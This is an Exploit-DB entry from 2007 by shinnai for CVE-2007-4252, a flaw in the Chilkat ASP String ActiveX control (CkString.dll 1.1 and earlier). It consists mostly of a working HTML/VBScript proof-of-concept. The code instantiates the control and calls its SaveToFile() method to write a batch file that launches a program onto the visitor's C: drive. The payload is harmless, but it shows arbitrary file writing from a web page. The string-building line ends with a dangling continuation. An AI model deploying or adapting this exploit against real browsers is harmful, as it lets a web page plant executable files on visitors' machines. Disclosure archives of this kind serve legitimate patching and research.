CHILKAT ASP String CkString.dll <= 1.1 SaveToFile Inscure Method

ID EDB-ID:4255
Type exploitdb
Reporter shinnai
Modified 2007-08-05T00:00:00


CHILKAT ASP String (CkString.dll <= 1.1) SaveToFile() Inscure Method. CVE-2007-4252. Remote exploit for windows platform

&lt;code&gt;&lt;span style="font: 10pt Courier New;"&gt;&lt;span class="general1-symbol"&gt;-----------------------------------------------------------------------------
 &lt;b&gt;CHILKAT ASP String (CkString.dll &lt;= 1.1) "SaveToFile()" Inscure Method&lt;/b&gt;

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 &lt;b&gt;This control is marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller, data
 IPersist Safe: Safe for untrusted: caller, data
 IPStorage Safe: Safe for untrusted: caller, data&lt;/b&gt;

&lt;object classid='clsid:90E567DA-5E79-4571-AB07-7A397FFBE995' id='test'&gt;&lt;/object&gt;

&lt;input language=VBScript onclick=tryMe() type=button value="Click here to start the test"&gt;

&lt;script language='vbscript'&gt;
 Sub tryMe
  Dim mStr
  Dim MyMsg  
   mStr = "echo off" & vbCrLf & _
          "cls" & vbCrLf & _
          "echo Hello World!" & vbCrLf & _
          "cmd.exe /c notepad.exe" & vbCrLf & _

   test.str = mStr
   test.SaveToFile ("c:\shinnai.bat"),"big5"
   MyMsg = MsgBox("Exploit completed!")
 End Sub


# [2007-08-05]